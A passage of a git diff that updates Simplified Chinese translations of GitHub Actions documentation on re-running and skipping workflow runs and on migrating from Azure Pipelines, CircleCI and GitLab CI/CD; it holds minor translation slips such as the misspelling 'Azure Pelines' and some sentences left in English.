+1. 在工作流程的右上角，使用 **Re-run jobs（重新运行作业）**下拉菜单，并选择 **Re-run all jobs（重新运行所有作业）**。 ![重新运行检查下拉菜单](/assets/images/help/repository/rerun-checks-drop-down-updated.png)
 {% endif %}
 
 {% endwebui %}
@@ -42,13 +38,13 @@ Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (
 
 {% data reusables.cli.cli-learn-more %}
 
-To re-run a failed workflow run, use the `run rerun` subcommand. Replace `run-id` with the ID of the failed run that you want to re-run.  If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run.
+要重新运行失败的工作流程运行，请使用 `run rerun` 子命令。 将 `run-id` 替换为您想要重新运行的已失败运行的 ID。  如果您没有指定 `run-id`，{% data variables.product.prodname_cli %} 将返回一个交互式菜单，供您选择最近失败的运行。
 
 ```shell
 gh run rerun <em>run-id</em>
 ```
 
-To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list.
+要查看工作流程运行的进度，请使用 `run watch` 子命令，并从交互式列表中选择运行。
 
 ```shell
 gh run watch
@@ -65,8 +61,7 @@ You can view the results from your previous attempts at running a workflow. You
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Any previous run attempts are shown in the left pane.
-    ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png)
+1. Any previous run attempts are shown in the left pane. ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png)
 1. Click an entry to view its results.
 
 {% endif %}
diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/translations/zh-CN/content/actions/managing-workflow-runs/skipping-workflow-runs.md
index 54666daf39..e4e976d508 100644
--- a/translations/zh-CN/content/actions/managing-workflow-runs/skipping-workflow-runs.md
+++ b/translations/zh-CN/content/actions/managing-workflow-runs/skipping-workflow-runs.md
@@ -1,5 +1,5 @@
 ---
-title: Skipping workflow runs
+title: 跳过工作流程运行
 intro: You can skip workflow runs triggered by the `push` and `pull_request` events by including a command in your commit message.
 versions:
   fpt: '*'
@@ -20,14 +20,14 @@ Workflows that would otherwise be triggered using `on: push` or `on: pull_reques
 * `[skip actions]`
 * `[actions skip]`
 
-Alternatively, you can end the commit message with two empty lines followed by either `skip-checks: true` or `skip-checks:true`.
+或者，您也可以使用两个空行后接 `skip-checks: true` 或 `skip-checks:true` 来结束提交消息。
 
-You won't be able to merge the pull request if your repository is configured to require specific checks to pass first. To allow the pull request to be merged you can push a new commit to the pull request without the skip instruction in the commit message.
+如果您的仓库配置为需要先通过特定检查，则无法合并拉取请求。 要允许合并拉取请求，您可以将新提交推送到拉取请求，而无需提交消息中的跳过指令。
 
 {% note %}
 
-**Note:** Skip instructions only apply to the `push` and `pull_request` events. For example, adding `[skip ci]` to a commit message won't stop a workflow that's triggered `on: pull_request_target` from running.
+**注意：**跳过指令仅适用于 `push` 和 `pull_request` 事件。 例如，将 `[skip ci]` 添加到提交消息不会停止触发 `on: pull_request_target` 的工作流程运行。
 
 {% endnote %}
 
-Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)."
+Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. 更多信息请参阅“[禁用和启用工作流程](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)。
diff --git a/translations/zh-CN/content/actions/migrating-to-github-actions/index.md b/translations/zh-CN/content/actions/migrating-to-github-actions/index.md
index 54a6cff1d2..c67d992d17 100644
--- a/translations/zh-CN/content/actions/migrating-to-github-actions/index.md
+++ b/translations/zh-CN/content/actions/migrating-to-github-actions/index.md
@@ -1,7 +1,7 @@
 ---
-title: Migrating to GitHub Actions
-shortTitle: Migrating to GitHub Actions
-intro: 'Learn how to migrate your existing CI/CD workflows to {% data variables.product.prodname_actions %}.'
+title: 迁移到 GitHub Actions
+shortTitle: 迁移到 GitHub Actions
+intro: '了解如何将现有的 CI/CD 工作流程迁移到 {% data variables.product.prodname_actions %}。'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md b/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
index 1821812d34..b2c8c001b5 100644
--- a/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
+++ b/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Azure Pipelines to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Azure Pipelines share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: 从 Azure Pelines 迁移到 GitHub Actions
+intro: '{% data variables.product.prodname_actions %} 和 Azure Pipelines 具有一些相似的配置，这使得迁移到 {% data variables.product.prodname_actions %} 很简单。'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-azure-pipelines-to-github-actions
 versions:
@@ -14,47 +14,47 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from Azure Pipelines
+shortTitle: 从 Azure Pelines 迁移
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-Azure Pipelines and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Azure Pipelines and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+Azure Pipelines 和 {% data variables.product.prodname_actions %} 都允许您创建能自动构建、测试、发布、发行和部署代码的工作流程。 Azure Pelines 和 {% data variables.product.prodname_actions %} 的工作流程配置有一些相似之处：
 
-- Workflow configuration files are written in YAML and are stored in the code's repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Steps or tasks can be reused and shared with the community.
+- 工作流程配置文件以 YAML 编写并存储在代码仓库中。
+- 工作流程包括一项或多项作业。
+- 作业包括一个或多个步骤或单个命令。
+- 步骤或任务可以重复使用并与社区共享。
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+更多信息请参阅“[{% data variables.product.prodname_actions %} 的核心概念](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)”。
 
-## Key differences
+## 主要差异
 
-When migrating from Azure Pipelines, consider the following differences:
+从 Azure Pipelines 迁移时，考虑以下差异：
 
-- Azure Pipelines supports a legacy _classic editor_, which lets you define your CI configuration in a GUI editor instead of creating the pipeline definition in a YAML file. {% data variables.product.prodname_actions %} uses YAML files to define workflows and does not support a graphical editor.
-- Azure Pipelines allows you to omit some structure in job definitions. For example, if you only have a single job, you don't need to define the job and only need to define its steps. {% data variables.product.prodname_actions %} requires explicit configuration, and YAML structure cannot be omitted.
-- Azure Pipelines supports _stages_ defined in the YAML file, which can be used to create deployment workflows. {% data variables.product.prodname_actions %} requires you to separate stages into separate YAML workflow files.
-- On-premises Azure Pipelines build agents can be selected with capabilities. {% data variables.product.prodname_actions %} self-hosted runners can be selected with labels.
+- Azure Pelines 支持传统的_经典编辑器_，可让您在 GUI 编辑器中定义 CI 配置，而不是在 YAML 文件中创建管道定义。 {% data variables.product.prodname_actions %} 使用 YAML 文件来定义工作流程，不支持图形编辑器。
+- Azure Pelines 允许您在作业定义中省略一些结构。 例如，如果您只有一个作业，则无需定义作业，只需要定义其步骤。 {% data variables.product.prodname_actions %} 需要明确的配置，且不能省略 YAML 结构。
+- Azure Pipelines 支持 YAML 文件中定义的_阶段_，可用于创建部署工作流程。 {% data variables.product.prodname_actions %} 要求您将阶段分成单独的 YAML 工作流程文件。
+- 可以使用功能选择本地 Azure Pipelines 构建代理。 通过标签可以选择 {% data variables.product.prodname_actions %} 自托管的运行器。
 
-## Migrating jobs and steps
+## 迁移作业和步骤
 
-Jobs and steps in Azure Pipelines are very similar to jobs and steps in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics:
+Azure Pelines 中的作业和步骤非常类似于 {% data variables.product.prodname_actions %} 中的作业和步骤。 在这两个系统中，作业具有以下特征：
 
-* Jobs contain a series of steps that run sequentially.
-* Jobs run on separate virtual machines or in separate containers.
-* Jobs run in parallel by default, but can be configured to run sequentially.
+* 作业包含一系列按顺序运行的步骤。
+* 作业在单独的虚拟机或单独的容器中运行。
+* 默认情况下作业并行运行，但可以配置为按顺序运行。
 
-## Migrating script steps
+## 迁移脚本步骤
 
-You can run a script or a shell command as a step in a workflow. In Azure Pipelines, script steps can be specified using the `script` key, or with the `bash`, `powershell`, or `pwsh` keys. Scripts can also be specified as an input to the [Bash task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops) or the [PowerShell task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops).
+可以将脚本或 shell 命令作为工作流程中的步骤运行。 在 Azure Pipelines 中，脚本步骤可以使用 `script` 键指定，或者使用 `bash`、`powershell` 或 `pwsh` 键指定。 脚本也可以指定为 [Bash 任务](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops)或 [PowerShell 任务](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops)的输入。
 
-In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key. To select a particular shell, you can specify the `shell` key when providing the script. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+在 {% data variables.product.prodname_actions %} 中，所有脚本都使用 `run` 键来指定。 要选择特定的 shell，您可以在提供脚本时指定 `shell` 键。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)”。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table class="d-block">
 <tr>
@@ -103,19 +103,19 @@ jobs:
 </tr>
 </table>
 
-## Differences in script error handling
+## 脚本错误处理中的差异
 
-In Azure Pipelines, scripts can be configured to error if any output is sent to `stderr`. {% data variables.product.prodname_actions %} does not support this configuration.
+在 Azure Pipelines 中，脚本可配置为有任何输出发送到 `stderr` 时出错。 {% data variables.product.prodname_actions %} 不支持此配置。
 
-{% data variables.product.prodname_actions %} configures shells to "fail fast" whenever possible, which stops the script immediately if one of the commands in a script exits with an error code. In contrast, Azure Pipelines requires explicit configuration to exit immediately on an error. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)."
+{% data variables.product.prodname_actions %} 尽可能将 shell 配置为“快速失败”，如果脚本中的一个命令退出并有错误代码，则会立即停止脚本。 相反，Azure Pipelines 需要明确配置为在出错时立即退出。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)”。
 
-## Differences in the default shell on Windows
+## Windows 上默认 shell 的差异
 
-In Azure Pipelines, the default shell for scripts on Windows platforms is the Command shell (_cmd.exe_). In {% data variables.product.prodname_actions %}, the default shell for scripts on Windows platforms is PowerShell. PowerShell has several differences in built-in commands, variable expansion, and flow control.
+在 Azure Pelines 中，Windows 平台上脚本的默认 shell 是命令 shell (_cmd.exe_)。 在 {% data variables.product.prodname_actions %} 中，Windows 平台上脚本的默认 shell 是 PowerShell 。 PowerShell 在内置命令、变量扩展和流控制方面存在若干差异。
 
-If you're running a simple command, you might be able to run a Command shell script in PowerShell without any changes. But in most cases, you will either need to update your script with PowerShell syntax or instruct {% data variables.product.prodname_actions %} to run the script with the Command shell instead of PowerShell. You can do this by specifying `shell` as `cmd`.
+如果您运行的是简单的命令，则可以在 PowerShell 中运行命令 shell 脚本，而无需进行任何更改。 但在大多数情况下，您需要使用 PowerShell 语法更新脚本，或者指示 {% data variables.product.prodname_actions %} 使用命令 shell 而不是 PowerShell 来运行脚本。 您可以通过将 `shell` 指定为 `Cmd` 来完成。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table class="d-block">
 <tr>
@@ -155,15 +155,15 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell)."
+更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell)”。
 
-## Migrating conditionals and expression syntax
+## 迁移条件和表达式语法
 
-Azure Pipelines and {% data variables.product.prodname_actions %} can both run steps conditionally. In Azure Pipelines, conditional expressions are specified using the `condition` key. In {% data variables.product.prodname_actions %}, conditional expressions are specified using the `if` key.
+Azure Pipelines 和 {% data variables.product.prodname_actions %} 可以有条件地运行步骤。 在 Azure Pipelines 中，使用 `condition` 键指定条件表达式。 在 {% data variables.product.prodname_actions %} 中，条件表达式使用 `if` 键来指定。
 
-Azure Pipelines uses functions within expressions to execute steps conditionally. In contrast, {% data variables.product.prodname_actions %} uses an infix notation. For example, you must replace the `eq` function in Azure Pipelines with the `==` operator in {% data variables.product.prodname_actions %}.
+Azure Pelines 使用表达式中的函数来有条件地执行步骤。 相反，{% data variables.product.prodname_actions %} 使用 infix 表示法。 例如，必须将 Azure Pipelines 中的 `eq` 函数替换为 {% data variables.product.prodname_actions %} 中的 `==` 运算符。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table class="d-block">
 <tr>
@@ -205,11 +205,11 @@ jobs:
 
 For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-## Dependencies between jobs
+## 作业之间的依赖关系
 
-Both Azure Pipelines and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies can be specified explicitly. In Azure Pipelines, this is done with the `dependsOn` key. In {% data variables.product.prodname_actions %}, this is done with the `needs` key.
+Azure Pipelines 和 {% data variables.product.prodname_actions %} 允许您为作业设置依赖项。 在这两个系统中，默认情况下作业并行运行，但可以明确指定作业依赖项。 在 Azure Pipelines 中，这通过 `dependsOn` 键来完成。 在 {% data variables.product.prodname_actions %} 中，这通过 `needs` 键来完成。
 
-Below is an example of the syntax for each system. The workflows start a first job named `initial`, and when that job completes, two jobs named `fanout1` and `fanout2` will run. Finally, when those jobs complete, the job `fanin` will run.
+下面是每个系统的语法示例： 工作流程启动第一个名为 `initial` 的作业，当该作业完成时，两个分别名为 `fanout1` 和 `fanout2` 的作业将会运行。 最后，当这些作业完成后，作业 `fanin` 将会运行。
 
 <table class="d-block">
 <tr>
@@ -280,13 +280,13 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)”。
 
-## Migrating tasks to actions
+## 将任务迁移到操作
 
-Azure Pipelines uses _tasks_, which are application components that can be re-used in multiple workflows. {% data variables.product.prodname_actions %} uses _actions_, which can be used to perform tasks and customize your workflow. In both systems, you can specify the name of the task or action to run, along with any required inputs as key/value pairs.
+Azure Pipelines 使用_任务_，这是可在多个工作流程中重复使用的应用程序组件。 {% data variables.product.prodname_actions %} 使用 _操作_，这可用于执行任务和自定义工作流程。 在这两个系统中，您可以指定要运行的任务或操作的名称，以及任何必需的输入作为键/值对。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table>
 <tr>
@@ -332,4 +332,4 @@ jobs:
 </tr>
 </table>
 
-You can find actions that you can use in your workflow in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see "[Creating actions](/actions/creating-actions)."
+您可以在 [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions) 中找到可用于工作流程的操作，也可以创建自己的操作。 更多信息请参阅“[创建操作](/actions/creating-actions)”。
diff --git a/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md b/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
index aa34d59cd5..bc8ddeeab9 100644
--- a/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
+++ b/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from CircleCI to GitHub Actions
-intro: 'GitHub Actions and CircleCI share several similarities in configuration, which makes migration to GitHub Actions relatively straightforward.'
+title: 从 CircleCI 迁移到 GitHub Actions
+intro: GitHub Actions 和 CircleCI 在配置上具有若干相似之处，这使得迁移到 GitHub Actions 相对简单。
 redirect_from:
   - /actions/learn-github-actions/migrating-from-circleci-to-github-actions
 versions:
@@ -14,74 +14,75 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from CircleCI
+shortTitle: 从 CircleCI 迁移
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-CircleCI and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. CircleCI and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+CircleCI 和 {% data variables.product.prodname_actions %} 都允许您创建能自动构建、测试、发布、发行和部署代码的工作流程。 CircleCI 和 {% data variables.product.prodname_actions %} 的工作流程配置有一些相似之处：
 
-- Workflow configuration files are written in YAML and stored in the repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Steps or tasks can be reused and shared with the community.
+- 工作流程配置文件以 YAML 编写并存储在仓库中。
+- 工作流程包括一项或多项作业。
+- 作业包括一个或多个步骤或单个命令。
+- 步骤或任务可以重复使用并与社区共享。
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+更多信息请参阅“[{% data variables.product.prodname_actions %} 的核心概念](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)”。
 
-## Key differences
+## 主要差异
 
-When migrating from CircleCI, consider the following differences:
+从 CircleCI 迁移时，考虑以下差异：
 
-- CircleCI’s automatic test parallelism automatically groups tests according to user-specified rules or historical timing information. This functionality is not built into {% data variables.product.prodname_actions %}.
-- Actions that execute in Docker containers are sensitive to permissions problems since containers have a different mapping of users. You can avoid many of these problems by not using the `USER` instruction in your *Dockerfile*. {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %}
-{% else %}For more information about the Docker filesystem on {% data variables.product.product_name %}-hosted runners, see "[Virtual environments for {% data variables.product.product_name %}-hosted runners](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)."
+- CircleCI 的自动测试并行性根据用户指定的规则或历史计时信息自动对测试进行分组。 此功能未内置于 {% data variables.product.prodname_actions %}。
+- 在 Docker 容器中执行的操作对权限问题很敏感，因为容器具有不同的用户映射。 您可以通过在 *Dockerfile* 中不使用 `USER` 指令来避免这些问题。 {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %}
+{% else %}有关 {% data variables.product.product_name %} 托管的运行器上 Docker 文件系统的更多信息，请参阅“[ {% data variables.product.product_name %} 托管运行器的虚拟环境](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)”。
 {% endif %}
 
-## Migrating workflows and jobs
+## 迁移工作流程和作业
 
-CircleCI defines `workflows` in the *config.yml* file, which allows you to configure more than one workflow. {% data variables.product.product_name %} requires one workflow file per workflow, and as a consequence, does not require you to declare `workflows`. You'll need to create a new workflow file for each workflow configured in *config.yml*.
+CircleCI 在 *config.yml* 文件中定义 `workflows`，允许您配置多个工作流程。 {% data variables.product.product_name %} 对每个工作流程需要一个工作流程文件，因此不要求您声明 `workflows`。 您需要为 *config.yml* 中配置的每个工作流程创建一个新的工作流程文件。
 
-Both CircleCI and {% data variables.product.prodname_actions %} configure `jobs` in the configuration file using similar syntax. If you configure any dependencies between jobs using `requires` in your CircleCI workflow, you can use the equivalent {% data variables.product.prodname_actions %} `needs` syntax. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+CircleCI 和 {% data variables.product.prodname_actions %} 在配置文件中使用相似的语法配置 `jobs`。 如果在 CircleCI 工作流程中使用 `requires` 配置作业之间的任何依赖项，您可以使用等效的 {% data variables.product.prodname_actions %} `needs` 语法。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)”。
 
-## Migrating orbs to actions
+## 将 orbs 迁移到操作
 
-Both CircleCI and {% data variables.product.prodname_actions %} provide a mechanism to reuse and share tasks in a workflow. CircleCI uses a concept called orbs, written in YAML, to provide tasks that people can reuse in a workflow. {% data variables.product.prodname_actions %} has powerful and flexible reusable components called actions, which you build with either JavaScript files or Docker images. You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.product_name %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code. For more information, see "[Creating actions](/actions/creating-actions)."
+CircleCI 和 {% data variables.product.prodname_actions %} 都提供在工作流程中重复使用和共享任务的机制。 CircleCI 使用以 YAML 编写的概念 orbs 来提供人们可以在工作流程中重复使用的任务。 {% data variables.product.prodname_actions %} 具有强大而灵活的可重复使用的组件，称为“操作”，您可以使用 JavaScript 文件或 Docker 映像来构建操作。 您可以编写自定义代码来创建操作，以您喜欢的方式与仓库交互，包括使用 {% data variables.product.product_name %} 的 API 以及任何公开的第三方 API 进行交互。 例如，操作可以发布 npm 模块、在创建紧急议题时发送短信提醒，或者部署可用于生产的代码。 更多信息请参阅“[创建操作](/actions/creating-actions)”。
 
-CircleCI can reuse pieces of workflows with YAML anchors and aliases. {% data variables.product.prodname_actions %} supports the most common need for reusability using build matrixes. For more information about build matrixes, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix)."
+CircleCI 可以使用 YAML 锚点和别名来重复使用工作流程的组件。 {% data variables.product.prodname_actions %} 支持对于重复使用构建矩阵的最常见需求。 有关构建矩阵的更多信息，请参阅“[管理复杂的工作流程](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix)”。
 
-## Using Docker images
+## 使用 Docker 映像
 
 
-Both CircleCI and {% data variables.product.prodname_actions %} support running steps inside of a Docker image.
+CircleCI 和 {% data variables.product.prodname_actions %} 都支持在 Docker 映像中运行步骤。
 
-CircleCI provides a set of pre-built images with common dependencies. These images have the `USER` set to `circleci`, which causes permissions to conflict with {% data variables.product.prodname_actions %}.
+CircleCI 提供一套具有共同依赖项的预建映像。 这些映像的 `USER` 设置为 `circleci`，会导致权限与 {% data variables.product.prodname_actions %} 冲突。
 
-We recommend that you move away from CircleCI's pre-built images when you migrate to {% data variables.product.prodname_actions %}. In many cases, you can use actions to install the additional dependencies you need.
+建议在迁移到 {% data variables.product.prodname_actions %} 时不使用 CircleCI 的预建映像。 在许多情况下，您可以使用操作来安装需要的附加依赖项。
 
 {% ifversion ghae %}
-For more information about the Docker filesystem, see "[Docker container filesystem](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)."
+有关 Docker 文件系统的更多信息，请参阅“[Docker 容器文件系统](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)”。
 
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-For more information about the Docker filesystem, see "[Virtual environments for {% data variables.product.product_name %}-hosted runners](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)."
+有关 Docker 文件系统的更多信息，请参阅“[ {% data variables.product.product_name %} 托管运行器的虚拟环境](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)”。
+有关
 
-For more information about the tools and packages available on {% data variables.product.prodname_dotcom %}-hosted virtual environments, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% data variables.product.prodname_dotcom %} 托管的虚拟环境中可用的工具和软件包的更多信息，请参阅“[{% data variables.product.prodname_dotcom %} 托管的运行器的规格](/actions/reference/specifications-for-github-hosted-runners/#supported-software)”。
 {% endif %}
 
-## Using variables and secrets
+## 使用变量和密码
 
-CircleCI and {% data variables.product.prodname_actions %} support setting environment variables in the configuration file and creating secrets using the CircleCI or {% data variables.product.product_name %} UI.
+CircleCI 和 {% data variables.product.prodname_actions %} 支持在配置文件中设置环境变量，并使用 CircleCI 或 {% data variables.product.product_name %} UI 创建密码。
 
-For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and "[Creating and using encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)."
+更多信息请参阅“[使用环境变量](/actions/configuring-and-managing-workflows/using-environment-variables)”和“[创建和使用加密密码](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)”。
 
-## Caching
+## 缓存
 
-CircleCI and {% data variables.product.prodname_actions %} provide a method to manually cache files in the configuration file.
+CircleCI 和 {% data variables.product.prodname_actions %} 提供在配置文件中手动缓存文件的方法。
 
-Below is an example of the syntax for each system.
+下面是每个系统的语法示例：
 
 <table class="d-block">
 <tr>
@@ -118,15 +119,15 @@ GitHub Actions
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+{% data variables.product.prodname_actions %} 缓存仅适用于 {% data variables.product.prodname_dotcom_the_website %} 托管的仓库。 更多信息请参阅“<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">缓存依赖项以加快工作流程</a>”。
 
-{% data variables.product.prodname_actions %} does not have an equivalent of CircleCI’s Docker Layer Caching (or DLC).
+{% data variables.product.prodname_actions %} 没有 CircleCI 的 Docker 层缓存（或 DLC）的等效项。
 
-## Persisting data between jobs
+## 在作业之间保持数据
 
-Both CircleCI and {% data variables.product.prodname_actions %} provide mechanisms to persist data between jobs.
+CircleCI 和 {% data variables.product.prodname_actions %} 提供在作业之间保持数据的机制。
 
-Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax.
+下面是 CircleCI 和 {% data variables.product.prodname_actions %} 配置语法中的示例。
 
 <table>
 <tr>
@@ -174,15 +175,15 @@ GitHub Actions
 </tr>
 </table>
 
-For more information, see "[Persisting workflow data using artifacts](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)."
+更多信息请参阅“[使用构件持久化工作流程](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)”。
 
-## Using databases and service containers
+## 使用数据库和服务容器
 
-Both systems enable you to include additional containers for databases, caching, or other dependencies.
+这两个系统都允许您包括用于数据库、缓存或其他依赖项的其他容器。
 
-In CircleCI, the first image listed in the *config.yaml* is the primary image used to run commands. {% data variables.product.prodname_actions %} uses explicit sections: use `container` for the primary container, and list additional containers in `services`.
+在 CircleCI 中，*config.yaml* 中列出的第一个映像是用于运行命令的主要映像。 {% data variables.product.prodname_actions %} 使用明确的区域： `container` 用于主容器，并在 `services` 中列出附加容器。
 
-Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax.
+下面是 CircleCI 和 {% data variables.product.prodname_actions %} 配置语法中的示例。
 
 <table class="d-block">
 <tr>
@@ -298,11 +299,11 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[About service containers](/actions/configuring-and-managing-workflows/about-service-containers)."
+更多信息请参阅“[关于服务容器](/actions/configuring-and-managing-workflows/about-service-containers)”。
 
-## Complete Example
+## 完整示例
 
-Below is a real-world example. The left shows the actual CircleCI *config.yml* for the [thoughtbot/administrator](https://github.com/thoughtbot/administrate) repository. The right shows the {% data variables.product.prodname_actions %} equivalent.
+下面是一个真实的示例。 左边显示用于 [thoughtbot/administrator](https://github.com/thoughtbot/administrate) 仓库的实际 CircleCI *config.yml*。 右边显示 {% data variables.product.prodname_actions %} 等效项。
 
 <table class="d-block">
 <tr>
diff --git a/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md b/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
index 1d15ec53f9..973bdb44da 100644
--- a/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
+++ b/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from GitLab CI/CD to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and GitLab CI/CD share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: 从 GitLab CI/CD 迁移到 GitHub Actions
+intro: '{% data variables.product.prodname_actions %} 和 GitLab CI/CD 具有一些相似的配置，这使得迁移到 {% data variables.product.prodname_actions %} 很简单。'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-gitlab-cicd-to-github-actions
 versions:
@@ -14,34 +14,34 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from GitLab CI/CD
+shortTitle: 从 GitLab CI/CD 迁移
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
